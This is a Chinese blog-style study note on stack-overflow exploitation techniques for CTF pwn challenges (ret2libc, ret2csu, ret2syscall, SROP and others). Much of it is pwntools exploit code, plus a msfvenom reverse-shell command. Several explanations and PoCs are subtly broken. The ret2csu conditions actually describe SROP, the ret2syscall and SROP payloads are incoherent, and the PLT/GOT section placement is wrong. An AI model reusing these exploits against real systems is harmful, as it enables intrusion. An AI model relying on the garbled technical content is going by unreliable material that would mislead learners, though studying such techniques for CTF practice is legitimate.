栈溢出利用手段总结

ret2backdoor

  • 直接控制地址为后门

ret2shllcode

ret2shellcode是一种攻击技术,它利用缓冲区溢出或其他漏洞将程序的控制流重定向到攻击者提供的恶意代码(shellcode)上。这种技术特别适用于绕过某些防护措施,利用程序中的漏洞直接执行攻击者的代码。

ret2shellcode的基本概念

  1. 缓冲区溢出漏洞ret2shellcode通常利用缓冲区溢出漏洞,将用户输入的恶意数据写入到程序的内存中。

  2. 构造shellcode:攻击者编写的shellcode是直接在内存中执行的机器码,通常用来启动一个shell或执行其他恶意操作。

  3. 控制流重定向:攻击者通过漏洞将程序的控制流重定向到存储在内存中的shellcode,从而执行恶意代码。

利用步骤

  1. 分析程序:识别程序中的缓冲区溢出或其他可被利用的漏洞。

  2. 编写shellcode:编写或生成所需的shellcode。常见的shellcode包括启动一个反向shell或执行其他命令。

  3. 构造Payload:创建一个payload,包括填充缓冲区、覆盖返回地址并插入shellcode。

  4. 触发漏洞:通过输入或其他方式触发漏洞,使得程序跳转到shellcode并执行。

示例

假设我们有一个简单的程序vuln,如下所示:

#include <stdio.h>
#include <string.h>

void vuln() {
    char buffer[64];
    gets(buffer);  // 不安全的输入函数
}

int main() {
    vuln();
    return 0;
}

我们可以利用ret2shellcode攻击来执行恶意代码。下面是一个简单的利用示例:

  1. 编写shellcode:我们可以使用工具生成shellcode。例如,使用msfvenom生成一个反向shell的shellcode:

    msfvenom -p linux/x86/shell_reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f python
    
  2. 构造Payload:假设我们知道返回地址的偏移量,并且shellcode的地址可以被控制,我们可以构造如下payload:

    from pwn import *
    
    # 构造shellcode
    shellcode = asm(shellcraft.sh())
    
    # 填充缓冲区并插入shellcode
    payload = b'A' * 64  # 填充缓冲区
    payload += shellcode  # 插入shellcode
    
    # 找到返回地址的地址并用来跳转到shellcode
    payload += p64(0xdeadbeef)  # 这里的地址是示例,需要实际的地址
    
    # 触发漏洞
    p = process('./vuln')
    p.sendline(payload)
    p.interactive()
    

在这个示例中,payload包含了填充缓冲区的部分、实际的shellcode和一个返回地址(假设我们可以控制它)。通过触发缓冲区溢出,程序的执行流会跳转到shellcode,从而执行我们定义的恶意操作。

ret2libc

plt表与got表

PLT

PLT (Procedure Linkage Table) 表在 ELF 文件中的代码段(.text)中,它看起来是这样的:

.plt:
    0x00400530 <__libc_start_main@plt>:
        jmp    QWORD PTR [rip + 0x200602] # 0x601608 <__libc_start_main@got.plt>
        push   0x0
        jmp    0x400510
    0x00400540 <puts@plt>:
        jmp    QWORD PTR [rip + 0x2005f2] # 0x601638 <puts@got.plt>
        push   0x1
        jmp    0x400510
    0x00400550 <printf@plt>:
        jmp    QWORD PTR [rip + 0x2005e2] # 0x601648 <printf@got.plt>
        push   0x2
        jmp    0x400510
    ; ... 其他外部函数的 PLT 条目

从上面的代码可以看到,PLT 表由多个条目组成,每个条目对应一个外部函数。每个条目的结构如下:

  1. jmp 指令:

    • 这条指令用于跳转到 GOT (Global Offset Table) 表中该函数的地址。
    • 它实际上是跳转到 GOT 表中对应函数的条目。
  2. push 指令:

    • 这条指令将一个立即数压入栈中,这个立即数标识了该函数在 PLT 表中的索引。
  3. jmp 指令:

    • 这条指令跳转到 PLT 表的开头,即 0x400510
    • 这里是 PLT 表的一个通用部分,用于处理函数的首次调用。

当程序第一次调用一个外部函数时,会执行 PLT 表中该函数的条目。首先跳转到 GOT 表中该函数的条目,由于这是首次调用,GOT 表中保存的是一个特殊地址,会触发动态链接器的介入。动态链接器会查找该函数的实际地址,并将其写入 GOT 表中。之后,程序就可以直接从 GOT 表中获取该函数的地址,无需再次查找。

GOT

GOT (Global Offset Table) 表在 ELF 文件的数据段(.data)中,它看起来是这样的:

.got.plt:
    0x00601608 <__libc_start_main@got.plt>:
        0x00007ffff7a2d830  ; 这里存放了 __libc_start_main 函数的实际地址
    0x00601618 <__gmon_start__@got.plt>:
        0x0000000000000000  ; 这里初始值为 0,表示还未解析
    0x00601628 <__cxa_finalize@got.plt>:
        0x00007ffff7a12b10  ; 这里存放了 __cxa_finalize 函数的实际地址
    0x00601638 <puts@got.plt>:
        0x00007ffff7a68c10  ; 这里存放了 puts 函数的实际地址
    0x00601648 <printf@got.plt>:
        0x00007ffff7a57e50  ; 这里存放了 printf 函数的实际地址
    ; ... 其他外部函数的 GOT 条目

从上面的代码可以看到,GOT 表由多个条目组成,每个条目对应一个外部函数。每个条目存放着该函数的实际地址。

当程序第一次调用一个外部函数时,会执行 PLT 表中该函数的条目。PLT 表中的跳转指令会跳转到 GOT 表中该函数的条目。由于这是首次调用,GOT 表中保存的是一个特殊地址,会触发动态链接器的介入。

动态链接器会查找该函数的实际地址,并将其写入 GOT 表中对应的条目。之后,程序就可以直接从 GOT 表中获取该函数的地址,无需再次查找。

需要注意的是,GOT 表中的某些条目可能初始值为 0,表示还未解析。比如 __gmon_start__@got.plt 就是这样的。这些条目可能在程序运行过程中才会被动态链接器填充。

通过理解 GOT 表的结构,我们可以在 pwn 题中利用 GOT 表进行各种漏洞利用技巧,如 GOT 表覆写、GOT 表泄露等。

调用流程

当程序第一次调用一个外部函数时,会触发动态链接器的介入。这个过程主要包括以下步骤:

  1. 程序跳转到 GOT 表:

    • 程序在 PLT 表中查找到对应的外部函数,并跳转到 GOT 表中该函数的条目。
    • 由于这是程序第一次调用该函数,GOT 表中保存的初始值通常为 0 或者一个特殊地址。
  2. 动态链接器被调用:

    • 当 CPU 执行跳转指令时,发现 GOT 表中的值异常,就会触发动态链接器的介入。
  3. 动态链接器查找函数地址:

    • 动态链接器会查找该外部函数的实际地址。它会在程序链接时指定的共享库中搜索该函数。
  4. 动态链接器填充 GOT 表:

    • 动态链接器找到该函数的实际地址后,会将其写入到 GOT 表中对应的条目。
  5. 程序继续执行:

    • 动态链接器完成填充 GOT 表后,程序就可以继续执行,并从 GOT 表中直接获取函数地址,无需再次查找。

如何寻找rop片段来调用函数?

寻找 ROP (Return-Oriented Programming) 片段通常涉及以下步骤:

  1. 分析二进制文件
    使用工具(如 GhidraIDA Proradare2)分析二进制文件,找到所有的函数、库函数、和有效的返回指令(如 ret)。

  2. 查找 ROP Gadgets
    ROP gadgets 是一系列指令序列,以 ret 指令结尾,能够执行有用的操作。可以使用专门的工具来帮助查找这些 gadgets:

    • Ropperropper 是一个可以帮助你找到 ROP gadgets 的工具。
      ropper --file your_binary
      
    • ROPgadgetROPgadget 是另一个工具,提供丰富的查找功能。
      ROPgadget --binary your_binary
      
  3. 查找特定功能的 Gadgets
    确定你需要的操作(如 pop rdi; retpop rsi; ret 等),然后使用上述工具筛选出符合条件的 gadgets。

  4. 验证和排序 Gadgets
    使用工具验证和排序找到的 gadgets,以确保它们在利用过程中可以按预期工作。

  5. 构造 ROP 链
    通过将不同的 gadgets 链接在一起,构造你的 ROP 链。确保你的链条按照程序的控制流顺序执行每个 gadget。

示例

假设你需要找到 pop rdi; ret gadget:

ROPgadget --binary your_binary | grep "pop rdi; ret"

这样可以筛选出符合条件的 gadgets。之后,你可以将这些 gadgets 用于构造你的 ROP 链。

poc示例

x64

from pwn import *
from LibcSearcher import *
context(os="linux", arch="amd64", log_level="debug")
#本地文件
elf = ELF('./ret2libc')
#本地libc
# libc=ELF('./libc.so.6')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
newstar_addr = elf.symbols["main"]
pop_rdi_ret=0x400763#更改为找到的
#第一次获取偏移地址
p=remote('',)
payload=b'a'*40+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(newstar_addr)
p.sendline(payload)
puts_addr=u64(p.recvuntil(’\x7f‘)[-6:].ljust(8,b'\x00'))

# 三种计算libc的解法
# 题目给出libc时
'''
libc_base      = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_addr       = libc_base + next(libc.search(b'/bin/sh'))
'''
#使用libcsearcher
'''
libc               = LibcSearcher("puts",puts_addr)
libc_base      = puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
bin_addr       = libc_base + libc.dump("str_bin_sh")
'''
# libc.blukat.me 查询libc版本后手动计算
'''
libc_base   =   puts_addr - 0x080970
system_addr =   libc_base + 0x04f420
bin_addr    =   libc_base + 0x1b3d88
'''
#getshell
#栈平衡:当我们在堆栈中进行堆栈的操作的时候,一定要保证在RET这条指令之前,ESP指向的是我们压入栈中的地址,函数执行到ret执行之前,堆栈栈顶的地址 一定要是call指令的下一个地址。
ret=0x4006F1
payload2=b'a'*40+p64(pop_rdi_ret)+p64(bin_addr)+p64(ret)+p64(system_addr)
p.sendline(payload2)
p.interactive()

x86

write
r = remote("node4.buuoj.cn",27632)
# r = process("../buu/jarvisoj_level4")
elf = ELF("../buu/jarvisoj_level4")
libc = ELF("../buu/ubuntu16(32).so")

#params
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

#attack
payload = b'M'*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) +p32(write_got) +p32(4)
r.sendline(payload)
write_addr = u32(r.recv(4))

#libc
base_addr = write_addr - libc.symbols['write']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))

#attack2
payload = b'M'*(0x88+4) + p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
r.sendline(payload)

r.interactive()

stack_migrate

  • 目标:通过栈迁移,使得可控区域变大

leave/ret

在 x86 架构中,leaveret 指令用于函数的返回过程。它们一起操作栈以恢复调用函数的状态并返回到调用点。下面是它们的详细拆分:

leave 指令

  1. 功能:

    • 恢复 SP: 将 SP 设置为 BP,恢复到函数调用前的栈状态。
    • 恢复 BP: 从栈中弹出之前保存的 BP 值,将 BP 设置为恢复的值。
  2. 操作步骤:

    • mov SP, BP:将 BP 的值复制到 SP,恢复栈指针到当前栈帧的底部。
    • pop BP:从栈中弹出之前保存的 BP 值,恢复调用函数的基地址。

ret 指令

  1. 功能:

    • 返回地址: 从栈中弹出返回地址,并跳转到该地址,继续执行调用函数后的代码。
  2. 操作步骤:

    • pop IP(在现代汇编中,ret 实际上是将栈中的值弹出到指令指针寄存器 IP),IP 会被设置为弹出的地址,控制权会转移到这个地址。

请添加图片描述

攻击原理

  • 以下是在32位上的攻击示例
    请添加图片描述
    请添加图片描述

ret2cus

什么是ret2csu?

ret2csu(Return to __libc_csu_init)是一种利用方法,主要用于在没有足够控制权的情况下调用任意函数,尤其是在栈保护(Stack Canary)、无执行(NX)和地址随机化(ASLR)等保护机制启用时,无法直接通过传统的ret2libc等方式进行利用。

条件

  • 首先程序必须存在溢出,能够控制返回地址。

  • 可以去系统调用sigreturn(如果找不到合适的系统调用号,可以看看能不能利用read函数来控制RAX的值)

  • 必须能够知道/bin/sh的地址,如果写的bss段,直接写地址就行,如果写到栈里,还需要想办法去泄露栈地址。

  • 允许溢出的长度足够长,这样可以去布局我们想要的寄存器的值

  • 需要知道syscall指令的地址

__libc_csu_init简介

__libc_csu_init 是Glibc库中的一个函数,它在程序启动时被执行。这个函数有两个部分:一个是初始化部分,另一个是调用构造函数部分。我们主要关注的是初始化部分,因为它提供了一种控制寄存器的方法。

ret2csu的基本思路

通过利用__libc_csu_init中的一些指令,我们可以控制一些关键寄存器(如rdi, rsi, rdx等),从而实现对任意函数的调用。

漏洞利用的具体步骤

  1. 分析__libc_csu_init
    我们需要找到__libc_csu_init中可以控制寄存器的部分。经典的__libc_csu_init结构如下:

    0x00000000004006a0 <+0>:     pop    rbx
    0x00000000004006a1 <+1>:     pop    rbp
    0x00000000004006a2 <+2>:     pop    r12
    0x00000000004006a4 <+4>:     pop    r13
    0x00000000004006a6 <+6>:     pop    r14
    0x00000000004006a8 <+8>:     pop    r15
    0x00000000004006aa <+10>:    ret    
    0x00000000004006ab <+11>:    mov    rdx,r15
    0x00000000004006ae <+14>:    mov    rsi,r14
    0x00000000004006b1 <+17>:    mov    edi,r13d
    0x00000000004006b4 <+20>:    call   QWORD PTR [r12+rbx*8]
    
  2. 构造ROP链
    我们需要利用上述结构来控制寄存器并调用win函数。

PoC代码

这里是用pwntools编写的PoC:

from pwn import *

# 设置目标程序
context.binary = './vuln'
elf = context.binary

# 启动进程
p = process()

# 查找__libc_csu_init中的关键地址
csu_pop_rbx_rbp_r12_r13_r14_r15 = 0x00000000004006a0
csu_mov_rdx_rsi_edi_call = 0x00000000004006ab

# 查找win函数地址
win_address = elf.symbols['win']

# 构造ROP链
payload = b'A' * 72
payload += p64(csu_pop_rbx_rbp_r12_r13_r14_r15)
payload += p64(0)  # rbx
payload += p64(1)  # rbp
payload += p64(win_address)  # r12 -> call目标
payload += p64(0)  # r13 -> edi
payload += p64(0)  # r14 -> rsi
payload += p64(0)  # r15 -> rdx
payload += p64(csu_mov_rdx_rsi_edi_call)

# 发送payload
p.sendline(payload)

# 交互模式
p.interactive()

解析PoC

  1. 缓冲区溢出:填充72字节的’A’,覆盖缓冲区和寄存器。
  2. 控制寄存器:利用csu_pop_rbx_rbp_r12_r13_r14_r15来设置寄存器。
  3. 调用win函数:通过csu_mov_rdx_rsi_edi_call调用win函数。

这样,我们就成功利用了ret2csu方法来调用win函数。希望这个解释和示例对你有所帮助!

ret2ayscall

什么是syscall

从汇编层面,系统调用(syscall)涉及几个关键步骤:

1. 准备参数

系统调用通常需要几个参数,这些参数通过特定的寄存器传递。例如,在x86-64架构中,参数传递如下:

  • RDI: 第一个参数
  • RSI: 第二个参数
  • RDX: 第三个参数
  • R10: 第四个参数
  • R8: 第五个参数
  • R9: 第六个参数

2. 设置系统调用号

系统调用号指定要调用的具体系统调用。在x86-64架构中,系统调用号放在RAX寄存器中。例如,SYS_write的系统调用号可能是1。

3. 触发系统调用

在x86-64架构中,通过执行syscall指令来触发系统调用。这会使CPU从用户模式切换到内核模式,并跳转到内核处理系统调用的代码。

4. 处理系统调用

内核接收请求,执行相关操作,然后将结果返回给用户空间。处理完成后,控制流返回到用户程序,返回值通常放在RAX寄存器中。

汇编示例

假设我们要使用write系统调用输出消息:

section .data
    msg db 'Hello, world!', 0xA  ; 消息内容

section .text
    global _start

_start:
    ; 参数设置
    mov rax, 1          ; 系统调用号: write
    mov rdi, 1          ; 文件描述符: stdout
    mov rsi, msg        ; 消息内容地址
    mov rdx, 14         ; 消息长度

    ; 调用系统调用
    syscall             ; 切换到内核模式并执行系统调用

    ; 退出程序
    mov rax, 60         ; 系统调用号: exit
    xor rdi, rdi        ; 返回码: 0
    syscall             ; 退出程序

在这个示例中,syscall指令触发了write系统调用,内核执行输出操作,然后返回到程序。

攻击流程

ret2syscall 是一种常见的利用技术,主要用于在利用某些类型的漏洞时绕过执行流控制。它的基本思想是通过利用程序中存在的返回地址覆盖,直接调用系统调用来执行特定的操作。

基本概念

ret2syscall中,攻击者利用了函数返回时的栈操作来劫持程序的控制流,跳转到系统调用。这个技术通常应用在堆栈溢出漏洞中,因为攻击者可以覆盖返回地址,从而控制程序的执行流。

漏洞示例

假设我们有一个存在缓冲区溢出漏洞的程序,它的部分代码如下:

#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    vulnerable_function(argv[1]);
    printf("Program finished.\n");
    return 0;
}

在这个示例中,buffer的大小是64字节,但是strcpy没有进行边界检查。如果我们传递一个比64字节长的输入,那么它会覆盖返回地址。通过精心构造的输入,我们可以控制返回地址,使得程序执行到我们指定的位置。

如何实现 ret2syscall

  1. 找出系统调用号和参数:系统调用号和参数取决于操作系统和体系结构。例如,在Linux x86_64中,系统调用号存储在rax寄存器中,系统调用参数存储在rdirsirdx等寄存器中。

  2. 构造 payload:我们需要构造一个payload,覆盖返回地址,使得程序在返回时跳转到syscall指令。具体来说,我们需要将堆栈上的返回地址改成ret指令,这样就会跳转到系统调用。

使用 pwntools 实现 ret2syscall 的示例

下面是一个使用 pwntools 的示例代码:

from pwn import *

# 连接到目标程序
p = process('./vulnerable_program')

# 系统调用号(例如sys_execve),在这个例子中假设为0x3b
syscall_number = 0x3b

# 参数设置(假设我们要调用 execve("/bin/sh", NULL, NULL))
rdi = 0xdeadbeef  # /bin/sh 的地址
rsi = 0x0         # NULL
rdx = 0x0         # NULL

# 构造 payload
payload = flat(
    b'A' * 64,  # 填充到缓冲区
    syscall_number,  # 系统调用号
    rdi,
    rsi,
    rdx,
    0x000000000040101a  # 返回地址,这里假设是程序的 syscall 入口地址
)

# 发送 payload
p.sendline(payload)
p.interactive()  # 进入交互模式

总结

ret2syscall 技术通过利用程序中的返回地址覆盖,将执行流跳转到系统调用,以执行特定的操作。这种技术特别有用在需要绕过安全机制的情况下,比如禁用了可执行堆栈等。

SROP

SROP(Signal Return Oriented Programming)是一种绕过控制流完整性(Control Flow Integrity, CFI)保护的攻击技术。它利用系统信号处理机制来实现任意代码执行。

SROP的基本概念

在很多操作系统中,信号处理机制允许程序在接收到信号时执行预定义的处理函数(Signal Handlers)。SROP利用了这一点,通过构造特定的信号处理函数执行堆栈上的ROP链,从而达到任意代码执行的目的。

SROP的利用步骤

  1. 准备ROP链:首先,我们需要构造一个ROP链,通常包括一系列的ROP gadget(小型的指令序列)用于控制程序的执行流。

  2. 信号处理设置:利用系统调用如sigactionsigreturn来设置信号处理函数。

  3. 触发信号:通过触发信号(如kill系统调用)来中断程序的正常执行,并进入信号处理函数。

  4. 信号处理:在信号处理函数中,系统会从栈中恢复信号上下文,我们可以通过精心构造的信号上下文来控制程序执行流。

示例

假设我们有一个目标程序vuln,其代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>

void win() {
    printf("You win!\n");
    fflush(stdout);
}

void vuln() {
    char buffer[64];
    gets(buffer);
}

int main() {
    vuln();
    return 0;
}

程序存在一个缓冲区溢出漏洞,可以用来覆盖返回地址。

利用SROP的具体步骤

  1. 分析目标程序

    • win函数是我们想调用的目标函数。
    • 使用gets函数接收输入,存在缓冲区溢出。
  2. 构造ROP链

    • 使用__libc_signal等信号处理函数的地址。
  3. 准备SROP上下文

    • 制造一个信号处理上下文,让它在信号处理函数中恢复时执行我们的ROP链。

PoC代码

以下是使用pwntools编写的PoC代码:

from pwn import *


# 设置目标程序
context.binary = './vuln'
elf = context.binary

# 查找win函数的地址
win_address = elf.symbols['win']

# 创建ROP链
rop = ROP(elf)
rop.raw(rop.find_gadget(['ret']).address)  # 需要用到的ROP gadget

# 构造payload
payload = b'A' * 72  # 填充到返回地址
payload += p64(rop.rdi.address)  # 保存win函数地址
payload += p64(win_address)      # win函数地址

# 使用signal上下文进行信号处理
sigreturn_frame = SigreturnFrame()
sigreturn_frame.rax = 0x3b  # sys_execve系统调用号
sigreturn_frame.rdi = 0     # 系统调用参数
sigreturn_frame.rsi = 0     # 系统调用参数
sigreturn_frame.rdx = 0     # 系统调用参数
sigreturn_frame.rip = rop.address  # 返回到ROP链的地址

# 发送payload
p = process()
p.sendline(payload)
p.sendline(sigreturn_frame)
p.interactive()

解析PoC

  1. 填充缓冲区:使用’A’填充到返回地址位置。
  2. ROP链:将ROP链的地址设置到栈上。
  3. 信号处理上下文:通过构造SigreturnFrame设置信号处理上下文,确保信号处理时能执行我们的ROP链。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值